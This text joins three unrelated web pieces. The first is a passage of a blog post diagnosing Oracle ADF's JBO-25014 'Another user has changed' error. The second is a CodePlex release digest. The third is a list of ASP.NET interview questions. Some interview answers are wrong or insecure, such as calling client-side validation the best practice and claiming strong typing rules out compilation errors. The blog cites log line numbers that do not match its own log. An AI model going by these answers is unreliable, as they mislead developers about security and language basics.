SQL statement issued to the database, including the LOCK statement we're looking to confirm. Setting our locking mode to pessimistic, opening the Business Components Browser of a JSF page allowing us to edit a record, say the CHARGEABLE field within a BOOKINGS record where BOOKING_NO = 1206, upon editing the record see among others the following log entries: [421] Built select: 'SELECT BOOKING_NO, EVENT_NO, RESOURCE_CODE, CHARGEABLE, MADE_BY, QUANTITY, COST, STATUS, COMMENTS FROM BOOKINGS Bookings'[422] Executing LOCK...SELECT BOOKING_NO, EVENT_NO, RESOURCE_CODE, CHARGEABLE, MADE_BY, QUANTITY, COST, STATUS, COMMENTS FROM BOOKINGS Bookings WHERE BOOKING_NO=:1 FOR UPDATE NOWAIT[423] Where binding param 1: 1206  As can be seen on line 422, in fact a LOCK-FOR-UPDATE is indeed issued to the database.  Later when we commit the record we see: [441] OracleSQLBuilder: SAVEPOINT 'BO_SP'[442] OracleSQLBuilder Executing, Lock 1 DML on: BOOKINGS (Update)[443] UPDATE buf Bookings>#u SQLStmtBufLen: 210, actual=62[444] UPDATE BOOKINGS Bookings SET CHARGEABLE=:1 WHERE BOOKING_NO=:2[445] Update binding param 1: N[446] Where binding param 2: 1206[447] BookingsView1 notify COMMIT ... [448] _LOCAL_VIEW_USAGE_model_Bookings_ResourceTypesView1 notify COMMIT ... [449] EntityCache close prepared statement ....and as a result the changes are saved to the database, and the lock is released. Let's see what happens when we use the optimistic locking mode, this time to change the same BOOKINGS record CHARGEABLE column again.  As soon as we edit the record we see little activity in the logs, nothing to indicate any SQL statement, let alone a LOCK has been taken out on the row. However when we save our records by issuing a commit, the following is recorded in the logs: [509] OracleSQLBuilder: SAVEPOINT 'BO_SP'[510] OracleSQLBuilder Executing doEntitySelect on: BOOKINGS (true)[511] Built select: 'SELECT BOOKING_NO, EVENT_NO, RESOURCE_CODE, CHARGEABLE, MADE_BY, QUANTITY, COST, STATUS, COMMENTS FROM BOOKINGS Bookings'[512] Executing LOCK...SELECT BOOKING_NO, EVENT_NO, RESOURCE_CODE, CHARGEABLE, MADE_BY, QUANTITY, COST, STATUS, COMMENTS FROM BOOKINGS Bookings WHERE BOOKING_NO=:1 FOR UPDATE NOWAIT[513] Where binding param 1: 1205[514] OracleSQLBuilder Executing, Lock 2 DML on: BOOKINGS (Update)[515] UPDATE buf Bookings>#u SQLStmtBufLen: 210, actual=62[516] UPDATE BOOKINGS Bookings SET CHARGEABLE=:1 WHERE BOOKING_NO=:2[517] Update binding param 1: Y[518] Where binding param 2: 1205[519] BookingsView1 notify COMMIT ... [520] _LOCAL_VIEW_USAGE_model_Bookings_ResourceTypesView1 notify COMMIT ... [521] EntityCache close prepared statement Again even though we're seeing the midtier delay the LOCK statement until commit time, it is in fact occurring on line 412, and released as part of the commit issued on line 419.  Therefore with either optimistic or pessimistic locking a lock is indeed issued. Our conclusion at this point must be, unless there's the unlikely cause the LOCK statement is never really hitting the database, or the even less likely cause the database has a bug, then ADF does in fact take out a lock on the record before allowing the current user to update it.  So there's no way our phantom ADF developer could even modify the record if he tried without at least someone receiving a lock error. Hmm, we can only conclude the locking mode is a red herring and not the true cause of our problem.  Who is the phantom? At this point we'll need to conclude that the error message "JBO-25014: Another user has changed" is somehow legit, even though we don't understand yet what's causing it. This leads onto two further questions, how does ADF know another user has changed the row, and what's been changed anyway? To answer the first question, how does ADF know another user has changed the row, the Fusion Guide's section 4.10.11 How to Protect Against Losing Simultaneous Updated Data , that details the Entity Object Change-Indicator property, gives us the answer: At runtime the framework provides automatic "lost update" detection for entity objects to ensure that a user cannot unknowingly modify data that another user has updated and committed in the meantime. Typically, this check is performed by comparing the original values of each persistent entity attribute against the corresponding current column values in the database at the time the underlying row is locked. Before updating a row, the entity object verifies that the row to be updated is still consistent with the current state of the database.  The guide further suggests to make this solution more efficient: You can make the lost update detection more efficient by identifying any attributes of your entity whose values you know will be updated whenever the entity is modified. Typical candidates include a version number column or an updated date column in the row.....To detect whether the row has been modified since the user queried it in the most efficient way, select the Change Indicator option to compare only the change-indicator attribute values. We now know that ADF BC doesn't use the locking mechanism at all to protect the current user against updates, but rather it keeps a copy of the original record fetched, separate to the user changed version of the record, and it compares the original record against the one in the database when the lock is taken out.  If values don't match, be it the default compare-all-columns behaviour, or the more efficient Change Indicator mechanism, ADF BC will throw the JBO-25014 error. This leaves one last question.  Now we know the mechanism under which ADF identifies a changed row, what we don't know is what's changed and who changed it? The real culprit What's changed?  We know the record in the mid-tier has been changed by the user, however ADF doesn't use the changed record in the mid-tier to compare to the database record, but rather a copy of the original record before it was changed.  This leaves us to conclude the database record has changed, but how and by who? There are three potential causes: Database triggers The database trigger among other uses, can be configured to fire PLSQL code on a database table insert, update or delete.  In particular in an insert or update the trigger can override the value assigned to a particular column.  The trigger execution is actioned by the database on behalf of the user initiating the insert or update action. Why this causes the issue specific to our ADF use, is when we insert or update a record in the database via ADF, ADF keeps a copy of the record written to the database.  However the cached record is instantly out of date as the database triggers have modified the record that was actually written to the database.  Thus when we update the record we just inserted or updated for a second time to the database, ADF compares its original copy of the record to that in the database, and it detects the record has been changed – giving us JBO-25014. This is probably the most common cause of this problem. Default values A second reason this issue can occur is another database feature, default column values.  When creating a database table the schema designer can define default values for specific columns.  For example a CREATED_BY column could be set to SYSDATE, or a flag column to Y or N.  Default values are only used by the database when a user inserts a new record and the specific column is assigned NULL.  The database in this case will overwrite the column with the default value. As per the database trigger section, it then becomes apparent why ADF chokes on this feature, though it can only specifically occur in an insert-commit-update-commit scenario, not the update-commit-update-commit scenario. Instead of trigger views I must admit I haven't double checked this scenario but it seems plausible, that of the Oracle database's instead of trigger view (sometimes referred to as instead of views).  A view in the database is based on a query, and dependent on the queries complexity, may support insert, update and delete functionality to a limited degree.  In order to support fully insertable, updateable and deletable views, Oracle introduced the instead of view, that gives the view designer the ability to not only define the view query, but a set of programmatic PLSQL triggers where the developer can define their own logic for inserts, updates and deletes. While this provides the database programmer a very powerful feature, it can cause issues for our ADF application.  On inserting or updating a record in the instead of view, the record and it's data that goes in is not necessarily the data that comes out when ADF compares the records, as the view developer has the option to practically do anything with the incoming data, including throwing it away or pushing it to tables which aren't used by the view underlying query for fetching the data. Readers are at this point reminded that this article is specifically about how the JBO-25014 error occurs in the context of 1 developer on an isolated database.  The article is not considering how the error occurs in a production environment where there are multiple users who can cause this error in a legitimate fashion.  Assuming none of the above features are the cause of the problem, and optimistic locking is turned on (this error is not possible if pessimistic locking is the default mode *and* none of the previous causes are possible), JBO-25014 is quite feasible in a production ADF application if 2 users modify the same record. At this point under project timelines pressure, the obvious fix for developers is to drop both database triggers and default values from the underlying tables.  However we must be careful that these legacy constructs aren't used and assumed to be in place by other legacy systems.  Dropping the database triggers or default value that the existing Oracle Forms  applications assumes and requires to be in place could cause unexpected behaviour and bugs in the Forms application.  Proficient software engineers would recognize such a change may require a partial or full regression test of the existing legacy system, a potentially costly and timely exercise, not ideal. Solving the mystery once and for all Luckily ADF has built in functionality to deal with this issue, though it's not a surprise, as Oracle as the author of ADF also built the database, and are fully aware of the Oracle database's feature set.  At the Entity Object attribute level, the Refresh After Insert and Refresh After Update properties.  Simply selecting these instructs ADF BC after inserting or updating a record to the database, to expect the database to modify the said attributes, and read a copy of the changed attributes back into its cached mid-tier record.  Thus next time the developer modifies the current record, the comparison between the mid-tier record and the database record match, and JBO-25014: Another user has changed" is no longer an issue. [Post edit - as per the comment from Oracle's Steven Davelaar below, as he correctly points out the above solution will not work for instead-of-triggers views as it relies on SQL RETURNING clause which is incompatible with this type of view] Alternatively you can set the Change Indicator on one of the attributes.  This will work as long as the relating column for the attribute in the database itself isn't inadvertently updated.  In turn you're possibly just masking the issue rather than solving it, because if another developer turns the Change Indicator back on the original issue will return.

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• CodePlex Daily Summary for Tuesday, January 04, 2011

  CodePlex Daily Summary for Tuesday, January 04, 2011Popular ReleasesMini Memory Dump Diagnosis using Asp.Net: MiniDump HealthMonitor: Enable developers to generate mini memory dumps in case of unhandled exceptions or for specific exception scenarios without using any external tools , only using Asp.Net 2.0 and above. Many times in production , QA Servers the issues require post-mortem or low-level system debugging efforts. This Memory dump generator will help in those scenarios.EnhSim: EnhSim 2.2.9 BETA: 2.2.9 BETAThis release supports WoW patch 4.03a at level 85 To use this release, you must have the Microsoft Visual C++ 2010 Redistributable Package installed. This can be downloaded from http://www.microsoft.com/downloads/en/details.aspx?FamilyID=A7B7A05E-6DE6-4D3A-A423-37BF0912DB84 To use the GUI you must have the .NET 4.0 Framework installed. This can be downloaded from http://www.microsoft.com/downloads/en/details.aspx?FamilyID=9cfb2d51-5ff4-4491-b0e5-b386f32c0992 - Added in the Gobl...xUnit.net - Unit Testing for .NET: xUnit.net 1.7 Beta: xUnit.net release 1.7 betaBuild #1533 Important notes for Resharper users: Resharper support has been moved to the xUnit.net Contrib project. Important note for TestDriven.net users: If you are having issues running xUnit.net tests in TestDriven.net, especially on 64-bit Windows, we strongly recommend you upgrade to TD.NET version 3.0 or later. This release adds the following new features: Added support for ASP.NET MVC 3 Added Assert.Equal(double expected, double actual, int precision)...Json.NET: Json.NET 4.0 Release 1: New feature - Added Windows Phone 7 project New feature - Added dynamic support to LINQ to JSON New feature - Added dynamic support to serializer New feature - Added INotifyCollectionChanged to JContainer in .NET 4 build New feature - Added ReadAsDateTimeOffset to JsonReader New feature - Added ReadAsDecimal to JsonReader New feature - Added covariance to IJEnumerable type parameter New feature - Added XmlSerializer style Specified property support New feature - Added ...StyleCop for ReSharper: StyleCop for ReSharper 5.1.14977.000: Prerequisites: ============== o Visual Studio 2008 / Visual Studio 2010 o ReSharper 5.1.1753.4 o StyleCop 4.4.1.2 Preview This release adds no new features, has bug fixes around performance and unhandled errors reported on YouTrack.BloodSim: BloodSim - 1.3.1.0: - Restructured simulation log back end to something less stupid to drastically reduce simulation time and memory usage - Removed a debug log entry that was left over from testing of 1.3.0.0 - Fixed a rounding and calculation error with Haste rating - Added option for Rune of SwordshatteringDbDocument: DbDoc Initial Version: DbDoc Initial versionASP .NET MVC CMS (Content Management System): Atomic CMS 2.1.2: Atomic CMS 2.1.2 release notes Atomic CMS installation guide Kind Of Magic MSBuild Task: Beta 4: Update to keep up with latest bug fixes. To those who don't like Magic/NoMagic attributes, you may change these names in KindOfMagic.targets file: Change this line: <MagicTask Assembly="@(IntermediateAssembly)" References="@(ReferencePath)"/> to something like this: <MagicTask Assembly="@(IntermediateAssembly)" References="@(ReferencePath)" MagicAttribute="MyMagicAttribute" NoMagicAttribute="MyNoMagicAttribute"/>N2 CMS: 2.1: N2 is a lightweight CMS framework for ASP.NET. It helps you build great web sites that anyone can update. Major Changes Support for auto-implemented properties ({get;set;}, based on contribution by And Poulsen) All-round improvements and bugfixes File manager improvements (multiple file upload, resize images to fit) New image gallery Infinite scroll paging on news Content templates First time with N2? Try the demo site Download one of the template packs (above) and open the proj...Wii Backup Fusion: Wii Backup Fusion 1.0: - Norwegian translation - French translation - German translation - WBFS dump for analysis - Scalable full HQ cover - Support for log file - Load game images improved - Support for image splitting - Diff for images after transfer - Support for scrubbing modes - Search functionality for log - Recurse depth for Files/Load - Show progress while downloading game cover - Supports more databases for cover download - Game cover loading routines improvedAutoLoL: AutoLoL v1.5.1: Fix: Fixed a bug where pressing Save As would not select the Mastery Directory by default Unexpected errors are now always reported to the user before closing AutoLoL down.* Extracted champion data to Data directory** Added disclaimer to notify users this application has nothing to do with Riot Games Inc. Updated Codeplex image * An error report will be shown to the user which can help the developers to find out what caused the error, this should improve support ** We are working on ...TortoiseHg: TortoiseHg 1.1.8: TortoiseHg 1.1.8 is a minor bug fix release, with minor improvementsBlogEngine.NET: BlogEngine.NET 2.0: Get DotNetBlogEngine for 3 Months Free! Click Here for More Info 3 Months FREE – BlogEngine.NET Hosting – Click Here! If you want to set up and start using BlogEngine.NET right away, you should download the Web project. If you want to extend or modify BlogEngine.NET, you should download the source code. If you are upgrading from a previous version of BlogEngine.NET, please take a look at the Upgrading to BlogEngine.NET 2.0 instructions. To get started, be sure to check out our installatio...Free Silverlight & WPF Chart Control - Visifire: Visifire SL and WPF Charts v3.6.6 Released: Hi, Today we are releasing final version of Visifire, v3.6.6 with the following new feature: * TextDecorations property is implemented in Title for Chart. * TitleTextDecorations property is implemented in Axis. * MinPointHeight property is now applicable for Column and Bar Charts. Also this release includes few bug fixes: * ToolTipText property of DataSeries was not getting applied from Style. * Chart threw exception if IndicatorEnabled property was set to true and Too...StyleCop Compliant Visual Studio Code Snippets: Visual Studio Code Snippets - January 2011: StyleCop Compliant Visual Studio Code Snippets Visual Studio 2010 provides C# developers with 38 code snippets, enhancing developer productivty and increasing the consistency of the code. Within this project the original code snippets have been refactored to provide StyleCop compliant versions of the original code snippets while also adding many new code snippets. Within the January 2011 release you'll find 82 code snippets to make you more productive and the code you write more consistent!...WPF Application Framework (WAF): WPF Application Framework (WAF) 2.0.0.2: Version: 2.0.0.2 (Milestone 2): This release contains the source code of the WPF Application Framework (WAF) and the sample applications. Requirements .NET Framework 4.0 (The package contains a solution file for Visual Studio 2010) The unit test projects require Visual Studio 2010 Professional Remark The sample applications are using Microsoft’s IoC container MEF. However, the WPF Application Framework (WAF) doesn’t force you to use the same IoC container in your application. You can use ...DocX: DocX v1.0.0.11: Building Examples projectTo build the Examples project, download DocX.dll and add it as a reference to the project. OverviewThis version of DocX contains many bug fixes, it is a serious step towards a stable release. Added1) Unit testing project, 2) Examples project, 3) To many bug fixes to list here, see the source code change list history.Cosmos (C# Open Source Managed Operating System): 71406: This is the second release supporting the full line of Visual Studio 2010 editions. Changes since release 71246 include: Debug info is now stored in a single .cpdb file (which is a Firebird database) Keyboard input works now (using Console.ReadLine) Console colors work (using Console.ForegroundColor and .BackgroundColor)Paint.NET PSD Plugin: 1.6.0: Handling of layer masks has been greatly improved. Improved reliability. Many PSD files that previously loaded in as garbage will now load in correctly. Parallelized loading. PSD files containing layer masks will load in a bit quicker thanks to the removal of the sequential bottleneck. Hidden layers are no longer made visible on save. Many thanks to the users who helped expose the layer masks problem: Rob Horowitz, M_Lyons10. Please keep sending in those bug reports and PSD repro files!New Projects3D SharePoint Tag Cloud in Silverlight: This is a Silverlight Tag Cloud intended for use in SharePoint but can be configured for use separately as well. Based on a blog post from Peter Gerritsen (http://blog.petergerritsen.nl/2009/02/14/creating-a-3d-tagcloud-in-silverlight-part-1/).AffinityUI for Unity 3D: AffinityUI makes writing GUI code for Unity 3D easier with a component based API that allows you to write GUIs in a declarative fashion using a fluent interface, update events and powerful two-way databinding. A visual editor and scene GUI support are planned for the future.calendar synchronization: This will enable tight integration between ivvy core and infragistics scheduler. Will utilize oData and native isolated strorage instead of SQLite as planed earlier.Card Games Library: The aim of this project is to offer a framework for creating card games logics and rules. This project is not focused on particular games but offers a felxible and extensible base for creating card games, like; poker, solitaire, rummy, etcDbDocument: DbDoc tool seeks to be helper tool side by side with MS SQL server management studio tool, you can design your DB Tables in visualized way through Diagrams and then use “DbDoc” tool to generate design document in MS Word table formatDelux: Delux project for educationDnEcuDiag - A .NET Ecu Diagnostic Application: DnEcuDiag is an application framework for developing electronic control unit diagnostic functionality without the need to implement code.Dynamics CRM 4.0 Recycle Bin: This add-on for Microsoft Dynamics CRM 4.0 to enable Recycle Bin Features (Restore, Permenant Delete) for CRM users.EPPLib.it: Il sistema sincrono di registrazione e mantenimento dei nomi a dominio del Registro.it utilizza il protocollo EPP (Extensible Provisioning Protocol). EPPLib consente di interfacciare i propri progetti con il sistema sincrono del Registro.it.IoC4Fun: Very LightWeight IoC or DI Container only required Net Framework 3.5 written in C#. For Small Apps or Educational purpose. Not intrusion code added like others Containers. Just Plan Register Dependencies and Let Container resolve magically the Injection Dependencies.ISocial: WP7 Application, centralise les réseaux sociauxJohnnyIssa: begASP.NET Version 4.LiveCPE: LiveCPE is an Academic project based on C# and ASP.Net. It aims to be a social network website. MS CRM - Skype Connector: Skype Addon for Microsoft Dynamics CRM allows to dial CRM Contacts, Lead and so on via Skype. It's developed in ASP.NET and C#.Ryan's Projects: a group of random c# projectsSeleniuMspec: SeleniuMspec is a template for Selenium IDE that generates Selenium tests for Mspec (a .NET BDD framework). SharePoint FAQ Web Part: The SharePoint FAQ Web Part makes it easier for SharePoint Users to display FAQs feature on their SharePoint sites. You'll no longer have to maintain HTML and anchors in the Content Editor Web Part, as the FAQs are now automatically generated from a SharePoint list. Silverlight Planet: Projetos da comunidade Silverlight Planet www.silverlightplanet.net.brWP7 Expense Report: Expense Report for Windows Phone 7xll - the easy way to create Excel add-ins: The xll C++ library makes it easy to create xll add-ins for Excel. It also supports the big grid, wide-character strings, and thread-safe functions. ????????: ????，??，??，????，????，??????

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• Top 50 ASP.Net Interview Questions & Answers

  - by Samir R. Bhogayta

  1. What is ASP.Net? It is a framework developed by Microsoft on which we can develop new generation web sites using web forms(aspx), MVC, HTML, Javascript, CSS etc. Its successor of Microsoft Active Server Pages(ASP). Currently there is ASP.NET 4.0, which is used to develop web sites. There are various page extensions provided by Microsoft that are being used for web site development. Eg: aspx, asmx, ascx, ashx, cs, vb, html, xml etc. 2. What’s the use of Response.Output.Write()? We can write formatted output  using Response.Output.Write(). 3. In which event of page cycle is the ViewState available?   After the Init() and before the Page_Load(). 4. What is the difference between Server.Transfer and Response.Redirect?   In Server.Transfer page processing transfers from one page to the other page without making a round-trip back to the client’s browser.  This provides a faster response with a little less overhead on the server.  The clients url history list or current url Server does not update in case of Server.Transfer. Response.Redirect is used to redirect the user’s browser to another page or site.  It performs trip back to the client where the client’s browser is redirected to the new page.  The user’s browser history list is updated to reflect the new address. 5. From which base class all Web Forms are inherited? Page class.  6. What are the different validators in ASP.NET? Required field Validator Range  Validator Compare Validator Custom Validator Regular expression Validator Summary Validator 7. Which validator control you use if you need to make sure the values in two different controls matched? Compare Validator control. 8. What is ViewState? ViewState is used to retain the state of server-side objects between page post backs. 9. Where the viewstate is stored after the page postback? ViewState is stored in a hidden field on the page at client side.  ViewState is transported to the client and back to the server, and is not stored on the server or any other external source. 10. How long the items in ViewState exists? They exist for the life of the current page. 11. What are the different Session state management options available in ASP.NET? In-Process Out-of-Process. In-Process stores the session in memory on the web server. Out-of-Process Session state management stores data in an external server.  The external server may be either a SQL Server or a State Server.  All objects stored in session are required to be serializable for Out-of-Process state management. 12. How you can add an event handler?  Using the Attributes property of server side control. e.g. [csharp] btnSubmit.Attributes.Add(“onMouseOver”,”JavascriptCode();”) [/csharp] 13. What is caching? Caching is a technique used to increase performance by keeping frequently accessed data or files in memory. The request for a cached file/data will be accessed from cache instead of actual location of that file. 14. What are the different types of caching? ASP.NET has 3 kinds of caching : Output Caching, Fragment Caching, Data Caching. 15. Which type if caching will be used if we want to cache the portion of a page instead of whole page? Fragment Caching: It caches the portion of the page generated by the request. For that, we can create user controls with the below code: [xml] <%@ OutputCache Duration=”120? VaryByParam=”CategoryID;SelectedID”%> [/xml] 16. List the events in page life cycle.   1) Page_PreInit 2) Page_Init 3) Page_InitComplete 4) Page_PreLoad 5) Page_Load 6) Page_LoadComplete 7) Page_PreRender 8)Render 17. Can we have a web application running without web.Config file?   Yes 18. Is it possible to create web application with both webforms and mvc? Yes. We have to include below mvc assembly references in the web forms application to create hybrid application. [csharp] System.Web.Mvc System.Web.Razor System.ComponentModel.DataAnnotations [/csharp] 19. Can we add code files of different languages in App_Code folder?   No. The code files must be in same language to be kept in App_code folder. 20. What is Protected Configuration? It is a feature used to secure connection string information. 21. Write code to send e-mail from an ASP.NET application? [csharp] MailMessage mailMess = new MailMessage (); mailMess.From = “[email protected]”; mailMess.To = “[email protected]”; mailMess.Subject = “Test email”; mailMess.Body = “Hi This is a test mail.”; SmtpMail.SmtpServer = “localhost”; SmtpMail.Send (mailMess); [/csharp] MailMessage and SmtpMail are classes defined System.Web.Mail namespace.  22. How can we prevent browser from caching an ASPX page?   We can SetNoStore on HttpCachePolicy object exposed by the Response object’s Cache property: [csharp] Response.Cache.SetNoStore (); Response.Write (DateTime.Now.ToLongTimeString ()); [/csharp] 23. What is the good practice to implement validations in aspx page? Client-side validation is the best way to validate data of a web page. It reduces the network traffic and saves server resources. 24. What are the event handlers that we can have in Global.asax file? Application Events: Application_Start , Application_End, Application_AcquireRequestState, Application_AuthenticateRequest, Application_AuthorizeRequest, Application_BeginRequest, Application_Disposed,  Application_EndRequest, Application_Error, Application_PostRequestHandlerExecute, Application_PreRequestHandlerExecute, Application_PreSendRequestContent, Application_PreSendRequestHeaders, Application_ReleaseRequestState, Application_ResolveRequestCache, Application_UpdateRequestCache Session Events: Session_Start,Session_End 25. Which protocol is used to call a Web service? HTTP Protocol 26. Can we have multiple web config files for an asp.net application? Yes. 27. What is the difference between web config and machine config? Web config file is specific to a web application where as machine config is specific to a machine or server. There can be multiple web config files into an application where as we can have only one machine config file on a server. 28.  Explain role based security ?   Role Based Security used to implement security based on roles assigned to user groups in the organization. Then we can allow or deny users based on their role in the organization. Windows defines several built-in groups, including Administrators, Users, and Guests. [xml] <AUTHORIZATION>< authorization > < allow roles=”Domain_Name\Administrators” / >   < !– Allow Administrators in domain. — > < deny users=”*”  / >                            < !– Deny anyone else. — > < /authorization > [/xml] 29. What is Cross Page Posting? When we click submit button on a web page, the page post the data to the same page. The technique in which we post the data to different pages is called Cross Page posting. This can be achieved by setting POSTBACKURL property of  the button that causes the postback. Findcontrol method of PreviousPage can be used to get the posted values on the page to which the page has been posted. 30. How can we apply Themes to an asp.net application? We can specify the theme in web.config file. Below is the code example to apply theme: [xml] <configuration> <system.web> <pages theme=”Windows7? /> </system.web> </configuration> [/xml] 31: What is RedirectPermanent in ASP.Net?   RedirectPermanent Performs a permanent redirection from the requested URL to the specified URL. Once the redirection is done, it also returns 301 Moved Permanently responses. 32: What is MVC? MVC is a framework used to create web applications. The web application base builds on  Model-View-Controller pattern which separates the application logic from UI, and the input and events from the user will be controlled by the Controller. 33. Explain the working of passport authentication. First of all it checks passport authentication cookie. If the cookie is not available then the application redirects the user to Passport Sign on page. Passport service authenticates the user details on sign on page and if valid then stores the authenticated cookie on client machine and then redirect the user to requested page 34. What are the advantages of Passport authentication? All the websites can be accessed using single login credentials. So no need to remember login credentials for each web site. Users can maintain his/ her information in a single location. 35. What are the asp.net Security Controls? <asp:Login>: Provides a standard login capability that allows the users to enter their credentials <asp:LoginName>: Allows you to display the name of the logged-in user <asp:LoginStatus>: Displays whether the user is authenticated or not <asp:LoginView>: Provides various login views depending on the selected template <asp:PasswordRecovery>:  email the users their lost password 36: How do you register JavaScript for webcontrols ? We can register javascript for controls using <CONTROL -name>Attribtues.Add(scriptname,scripttext) method. 37. In which event are the controls fully loaded? Page load event. 38: what is boxing and unboxing? Boxing is assigning a value type to reference type variable. Unboxing is reverse of boxing ie. Assigning reference type variable to value type variable. 39. Differentiate strong typing and weak typing In strong typing, the data types of variable are checked at compile time. On the other hand, in case of weak typing the variable data types are checked at runtime. In case of strong typing, there is no chance of compilation error. Scripts use weak typing and hence issues arises at runtime. 40. How we can force all the validation controls to run? The Page.Validate() method is used to force all the validation controls to run and to perform validation. 41. List all templates of the Repeater control. ItemTemplate AlternatingltemTemplate SeparatorTemplate HeaderTemplate FooterTemplate 42. List the major built-in objects in ASP.NET?  Application Request Response Server Session Context Trace 43. What is the appSettings Section in the web.config file? The appSettings block in web config file sets the user-defined values for the whole application. For example, in the following code snippet, the specified ConnectionString section is used throughout the project for database connection: [csharp] <em><configuration> <appSettings> <add key=”ConnectionString” value=”server=local; pwd=password; database=default” /> </appSettings></em> [/csharp] 44.      Which data type does the RangeValidator control support? The data types supported by the RangeValidator control are Integer, Double, String, Currency, and Date. 45. What is the difference between an HtmlInputCheckBox control and anHtmlInputRadioButton control? In HtmlInputCheckBoxcontrol, multiple item selection is possible whereas in HtmlInputRadioButton controls, we can select only single item from the group of items. 46. Which namespaces are necessary to create a localized application? System.Globalization System.Resources 47. What are the different types of cookies in ASP.NET? Session Cookie – Resides on the client machine for a single session until the user does not log out. Persistent Cookie – Resides on a user’s machine for a period specified for its expiry, such as 10 days, one month, and never. 48. What is the file extension of web service? Web services have file extension .asmx.. 49. What are the components of ADO.NET? The components of ADO.Net are Dataset, Data Reader, Data Adaptor, Command, connection. 50. What is the difference between ExecuteScalar and ExecuteNonQuery? ExecuteScalar returns output value where as ExecuteNonQuery does not return any value but the number of rows affected by the query. ExecuteScalar used for fetching a single value and ExecuteNonQuery used to execute Insert and Update statements.

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